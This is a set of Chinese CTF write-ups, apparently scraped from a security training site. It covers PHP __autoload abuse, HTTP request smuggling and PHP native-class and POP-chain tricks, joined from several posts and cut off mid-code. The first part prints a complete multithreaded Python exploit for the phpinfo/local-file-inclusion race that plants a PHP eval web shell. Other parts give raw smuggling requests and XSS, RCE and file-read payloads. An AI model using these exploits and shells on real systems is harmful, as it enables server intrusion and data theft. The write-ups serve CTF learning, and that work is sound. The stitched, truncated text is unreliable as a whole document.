require_once("class_B.php"); require_once("class_C.php"); if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。 那么如何解决这一个问题呢? 答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。 因此我们将autoload.php代码修改如下: <?php function __autoload($classname){ require("class_$classname.php"); } if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。 除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。 那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢? 有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。 从一道CTF题看autoload 首先题目代码如下: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-10-13 11:25:09 # @Last Modified by:   h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{    private $username;    private $password;    private $vip;    private $secret;    function __construct(){        $this->vip = 0;        $this->secret = $flag;   }    function __destruct(){        echo $this->secret;   }    public function isVIP(){        return $this->vip?TRUE:FALSE;       }   }    function __autoload($class){        if(isset($class)){            $class();   } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){    echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。 然后我们再往下审计: $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值 if(class_exists($__CTFSHOW__)){    echo "class is exists!"; }这一部分有一个函数:class_exists 这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法 而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。 if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。 因此我们可以考虑利用文件包含结合phpinfo进行RCE。 这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。 exp链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 说明文档:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md 将改exp修改部分后,如下: #!/usr/bin/python import sys import threading import socket attempts_counter = 0 def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):    """   根据提供参数返回请求内容   :param host:HOST   :param port:端口   :param phpinfo_path: phpinfo文件地址   :param lfi_path: 包含lfi的文件地址   :param lfi_param: lfi载入文件时, 指定文件名的参数   :param shell_code: shell代码   :param shell_path: shell代码保存位置   :return:       phpinfo_request: phpinfo 请求内容       lfi_request: lfi 请求内容       tag: 标识内容   """    tag = 'Security Test'   # 搜索验证标识    payload = \ '''{tag}\r <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)    request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format(payload=payload)    phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} '''.format(    padding='A' * 4000,    phpinfo_path=phpinfo_path,    request_data_length=len(request_data),    host=host,    port=port,    request_data=request_data   )    lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r '''.format(    lfi_path=lfi_path,    lfi_param=lfi_param,    host=host   )    return phpinfo_request, tag, lfi_request def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):    """   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行   :param host:HOST   :param port:端口   :param phpinfo_request: phpinfo页面请求内容   :param offset: tmp_name在phpinfo中的偏移位   :param lfi_request: lfi页面请求内容   :param tag: 标识内容   :return:       tmp_file_name: 临时文件名   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    lfi_socket.connect((host, port))    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中    # print(phpinfo_request)    # print(lfi_request)    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while len(phpinfo_response_data) < offset:        # 取不到数据则反复执行        phpinfo_response_data += phpinfo_socket.recv(offset).decode()    try:        tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')        # 获取包含payload的临时文件名        tmp_file_name = phpinfo_response_data[                            tmp_name_index + 17:                            tmp_name_index + 31                       ]    except ValueError:        return None    # 2. 再向lfi发送包含payload的临时文件名, 用于包含    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())    # print(lfi_request.format(tmp_file_name))    lfi_response_data = lfi_socket.recv(4096).decode()    # 3. 停止phpinfo socket连接    phpinfo_socket.close()    # 4. 停止lfi socket连接    lfi_socket.close()    if lfi_response_data.find(tag) != -1:        # 5. lfi response中存在标识内容则payload执行成功        return tmp_file_name class ThreadWorker(threading.Thread):    def __init__(self, event, lock, max_attempts,                 host, port, phpinfo_request,                 offset, lfi_request, tag,                 shell_code, shell_path,                 lfi_path, lfi_param):        threading.Thread.__init__(self)        self.event = event        self.lock = lock        self.max_attempts = max_attempts        self.host = host        self.port = port        self.phpinfo_request = phpinfo_request        self.offset = offset        self.lfi_request = lfi_request        self.tag = tag        self.shell_code = shell_code        self.shell_path = shell_path        self.lfi_path = lfi_path        self.lfi_param = lfi_param    def run(self):        global attempts_counter        while not self.event.is_set():            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)            with self.lock:                # 获取锁, 执行完后释放                if attempts_counter >= self.max_attempts:                    return                attempts_counter += 1            try:                tmp_file_name = phpinfo_lfi(                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)                if self.event.is_set():                    break                if tmp_file_name:                    # 找到tmp_file_name后通过set event停止运行                    print('\n{shell_code} 已经被写入到{shell_path}中'.format(                        shell_code=self.shell_code,                        shell_path=self.shell_path                   ))                    'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'                    print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(                        host=self.host,                        port=self.port,                        lfi_path=self.lfi_path,                        lfi_param=self.lfi_param,                        shell_path=self.shell_path                   ))                    self.event.set()            except socket.error:                return def get_offset(host, port, phpinfo_request):    """   获取tmp_name在phpinfo中的偏移量   :param host: HOST   :param port: 端口   :param phpinfo_request: phpinfo 请求内容   :return:       tmp_name在phpinfo中的偏移量   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while True:        i = phpinfo_socket.recv(4096).decode()        phpinfo_response_data += i        if i == '':            break        # 检测是否是最后一个数据块        if i.endswith('0\r\n\r\n'):            break    phpinfo_socket.close()    tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')    print(phpinfo_response_data)    if tmp_name_index == -1:        raise ValueError('没有在phpinfo中找到tmp_name')    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))    return tmp_name_index + 256 def main():    pool_size = 100    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'    port = 8080    phpinfo_path = '/'    lfi_path = '/'    lfi_param = 'isVIP=1'    shell_code = '<?php eval($_POST["mb"]);?>'    shell_path = '/tmp/g'    # 最大尝试次数    max_attempts = 1000    print('LFI With PHPInfo()')    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容    phpinfo_request, tag, lfi_request = setup(        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)    # 二 获取[tmp_name]在phpinfo中的偏移位    offset = get_offset(host, port, phpinfo_request)    sys.stdout.flush()    thread_event = threading.Event()    thread_lock = threading.Lock()    print('创建线程池 {}...'.format(pool_size))    sys.stdout.flush()    thread_pool = []    for i in range(0, pool_size):        # 三 多线程执行phpinfo_lfi        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                        host, port, phpinfo_request, offset,                                        lfi_request, tag,                                        shell_code, shell_path,                                        lfi_path, lfi_param                                       ))    for t in thread_pool:        t.start()    try:        while not thread_event.wait(1):            if thread_event.is_set():                break            with thread_lock:                sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))                sys.stdout.flush()                if attempts_counter >= max_attempts:                    # 尝试次数大于最大尝试次数则退出                    break        if thread_event.is_set():            print('''success !''')        else:            print('LJBD!')    except KeyboardInterrupt:        print('\n正在停止所有线程...')        thread_event.set()    for t in thread_pool:        t.join() if __name__ == "__main__":    main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。 总结: __autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。 https://www.yijinglab.com/pages/CTFLaboratory.jsp
cover,你知道什么是延迟绑定吗
正文: 每周五固定节目又来了!今天给大家带来的是第三题<cover>,本题为PWN题型。 上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。 放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。 PWN在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C/C++编程语言、汇编/反汇编、操作系统、堆栈原理…等等基础。  本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。 在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!  最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。  我们下个周五见,国庆盼完等元旦! https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894
,'\\\\','\\^'];\r\n        foreach ($blacklist as $blackitem) {\r\n                if (preg_match('\u002F' . $blackitem . '\u002Fm', $str)) {\r\n                        die(\"what are you want to do?\");\r\n               }\r\n       }\r\n        eval('echo '.$str.';');\r\n}\r\n?\u003E \r\n\r\n用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:\r\n\r\n\r\n到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念\r\n\r\n什么是HTTP请求走私\r\n\r\nHTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。\r\n\r\nTransfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。\r\n\r\n这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。\r\n\r\n如何实现HTTP请求走私攻击\r\n\r\n当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。\r\n\r\nCL不为0时\r\n\r\n该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: \r\n\r\n这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: GET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\r\n这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。\r\n\r\nCL-TE \r\n\r\nCL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: ac911f721f9ee241c01763ef008600f8.web-security-academy.net\r\nConnection: close\r\nCache-Control: max-age=0\r\nsec-ch-ua: \"Chromium\";v=\"94\", \"Google Chrome\";v=\"94\", \";Not A Brand\";v=\"99\"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: \"Windows\"\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nSec-Fetch-Site: none\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nSec-Fetch-Dest: document\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n \r\n0\r\n \r\nA\r\n\r\n当我们用Burp两次重放该数据包,会得到返回结果:\r\n\r\n\r\n解释一下为什么Content-Length的长度是6,因为Burp把\\r\\n给直接解释成换行了,实际请求体应该是这样:\r\n\r\n0\\r\\n\r\n\\r\\n\r\nA\r\n\r\n后端服务器读到0\\r\\n\\r\\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。\r\n\r\nTE-CL \r\n\r\nTE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: acae1fe41e622a9bc0c7189700950000.web-security-academy.net\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nCookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\n \r\n5c\r\nGPOST \u002F HTTP\u002F1.1\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nContent-Length: 15\r\n \r\nx=1\r\n0\r\n \r\n \r\n\r\n前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\\r\\n\\r\\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。\r\n\r\n\r\nCL-CL\r\n\r\nCL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理\r\n\r\n回到最初\r\n\r\n因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。",pic:"\u002Fcloud-image\u002Fnews\u002F79f1ea9e-7bee-4f35-8337-5a66adc697a5.png",openTime:"2021-11-03T10:40:28+08:00",viewsNum:1645},{id:"20211102152020",type:f,title:"记一道2021浙江省赛的Web题",abstract:"https:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp\r\n前景:\r\n\r\n刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。\r\n\r\n原生类:\r\n\r\n报错类\r\n\r\nError\r\n\r\n在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。\r\n\r\n例如,有以下代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n当传入下方payload的时候,会产生XSS\r\n\r\n?a=Error&b=\u003Cscript\u003Ealert(\"Lxxx\");\u003C\u002Fscript\u003E\r\n\r\nException\r\n\r\n与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。\r\n\r\n?a=Exception&b=\u003Cscript\u003Ealert(\"Lxxx\");\u003C\u002Fscript\u003E\r\n\r\n这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢?\r\n\r\n同样还是上方的测试代码,我们传以下payload:\r\n\r\n?a=Exception&b=eval($_POST[1]);\r\n\r\n可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。\r\n\r\n不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\neval(\"echo new $a($b());\");\r\n\r\n这个时候我们传入以下payload\r\n\r\n?a=Exception&b=system('whoami')\r\n\r\n这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。\r\n\r\n遍历目录类\r\n\r\nDirectoryIterator\r\n\r\nDirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项\r\n\r\n假设我们有以下代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n这个时候我们传参如下:\r\n\r\n?a=DirectoryIterator&b=.\r\n\r\n在页面中返回了一个点(真的是一个点,不是显示屏上的污渍)\r\n\r\n这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议\r\n\r\n?a=DirectoryIterator&b=glob:\u002F\u002Fflag*\r\n\r\n那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办?\r\n\r\n答案是:暴力搜索\r\n\r\n?a=DirectoryIterator&b=glob:\u002F\u002Ff[k-m]*\r\n\r\nglob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。\r\n\r\nFilesystemIterator\r\n\r\n同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。\r\n\r\nGlobIterator\r\n\r\nGlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容\r\n\r\n?a=GlobIterator&b=f[k-m]*\r\n\r\n读取文件类\r\n\r\nSplFileObject\r\n\r\nSplFileObject类为文件提供了一个面向对象接口\r\n\r\n说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。\r\n\r\n同样还是这个测试代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n我们传payload如下:\r\n\r\n?a=SplFileObject&b=flag.php\r\n\r\n利用这个类可以将我们的flag.php文件读出来\r\n\r\n不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛?\r\n\r\n确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢?\r\n\r\n我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的?\r\n\r\n可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等)\r\n\r\n而这些方法都有一个共同点就是,可以用伪协议。\r\n\r\n虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。\r\n\r\n因此我们传入payload:\r\n\r\n?a=SplFileObject&b=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=flag.php\r\n\r\n可以看到,这个时候flag.php就被我们完整的读取出来了。\r\n\r\n其余类\r\n\r\n本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。\r\n\r\n\r\nReflectionMethod\r\n\r\n\r\nReflectionClass\r\n\r\n\r\nSoapClient\r\n\r\n\r\nSimpleXMLElement\r\n\r\n\r\nZipArchive\r\n\r\n\r\n2021浙江网络安全省赛Web2的WP\r\n\r\n题目代码如下:\r\n\r\n\u003C?php\r\nerror_reporting(0);\r\nclass A1{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __construct()\r\n   {\r\n        echo \"Enjoy Hacking!\";\r\n   }\r\n    public function __wakeup()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehacking();\r\n   }\r\n}\r\nclass A2\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        echo \"Hacked By Bi0x\";\r\n   }\r\n}\r\nclass A3\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        $this-\u003Etmp2-\u003Eget_flag();\r\n   }\r\n}\r\nclass A4\r\n{\r\n    public $tmp1='1919810';\r\n    public $tmp2;\r\n    public function get_flag()\r\n   {\r\n        echo \"flag{\".$this-\u003Etmp1.\"}\";\r\n   }\r\n}\r\nclass A5\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __call($a,$b)\r\n   {\r\n        $f=$this-\u003Etmp1;\r\n        $f();\r\n   }\r\n}\r\nclass A6\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __toString()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehack4fun();\r\n        return \"114514\";\r\n   }\r\n}\r\nclass A7\r\n{\r\n    public $tmp1=\"Hello World!\";\r\n    public $tmp2;\r\n    public function __invoke()\r\n   {\r\n        echo \"114514\".$this-\u003Etmp2.$this-\u003Etmp1;\r\n   }\r\n}\r\nclass A8\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hack4fun()\r\n   {\r\n        echo \"Last step,Ganbadie~\";\r\n        if(isset($_GET['DAS']))\r\n       {\r\n            $this-\u003Etmp1=$_GET['DAS'];\r\n       }\r\n        if(isset($_GET['CTF']))\r\n       {\r\n            $this-\u003Etmp2=$_GET['CTF'];\r\n       }\r\n        echo new $this-\u003Etmp1($this-\u003Etmp2);\r\n   }\r\n}\r\nif(isset($_GET['DASCTF']))\r\n{\r\n    unserialize($_GET['DASCTF']);\r\n}\r\nelse{\r\n    highlight_file(__FILE__);\r\n}\r\n\r\n这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC\r\n\r\n\u003C?php\r\n \r\nclass A1{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __construct()\r\n   {\r\n $this-\u003Etmp1 = new A3();\r\n        echo \"Enjoy Hacking!\".\"\u003Cbr\u002F\u003E\";\r\n   }\r\n    public function __wakeup()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehacking();\r\n   }\r\n}\r\nclass A2\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        echo \"Hacked By Bi0x\";\r\n   }\r\n}\r\nclass A3\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp2 = new A4();\r\n }\r\n    public function hacking()\r\n   {\r\n \r\n        $this-\u003Etmp2-\u003Eget_flag();\r\n   }\r\n}\r\nclass A4\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp1 = new A6();\r\n }\r\n    public function get_flag()\r\n   {\r\n        echo \"flag{\".$this-\u003Etmp1.\"}\";\r\n   }\r\n}\r\nclass A5\r\n{\r\n    public $tmp1 = \"\";\r\n    public $tmp2;\r\n    public function __call($a,$b)\r\n   {\r\n        $f=$this-\u003Etmp1;\r\n        $f();\r\n   }\r\n}\r\nclass A6\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp1 = new A8();\r\n }\r\n    public function __toString()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehack4fun();\r\n        return \"114514\";\r\n   }\r\n}\r\nclass A7\r\n{\r\n    public $tmp1=\"Hello World!\";\r\n    public $tmp2;\r\n    public function __invoke()\r\n   {\r\n        echo \"114514\".$this-\u003Etmp2.$this-\u003Etmp1;\r\n   }\r\n}\r\nclass A8\r\n{\r\n    public $tmp1 ;\r\n    public $tmp2 ;\r\n    public function hack4fun()\r\n   {\r\n        echo \"Last step,Ganbadie~\";\r\n        if(isset($_GET['DAS']))\r\n       {\r\n            $this-\u003Etmp1=$_GET['DAS'];\r\n       }\r\n        if(isset($_GET['CTF']))\r\n       {\r\n            $this-\u003Etmp2=$_GET['CTF'];\r\n       }\r\n        echo new $this-\u003Etmp1($this-\u003Etmp2);\r\n   }\r\n}\r\n \r\n$a = new A1();\r\necho 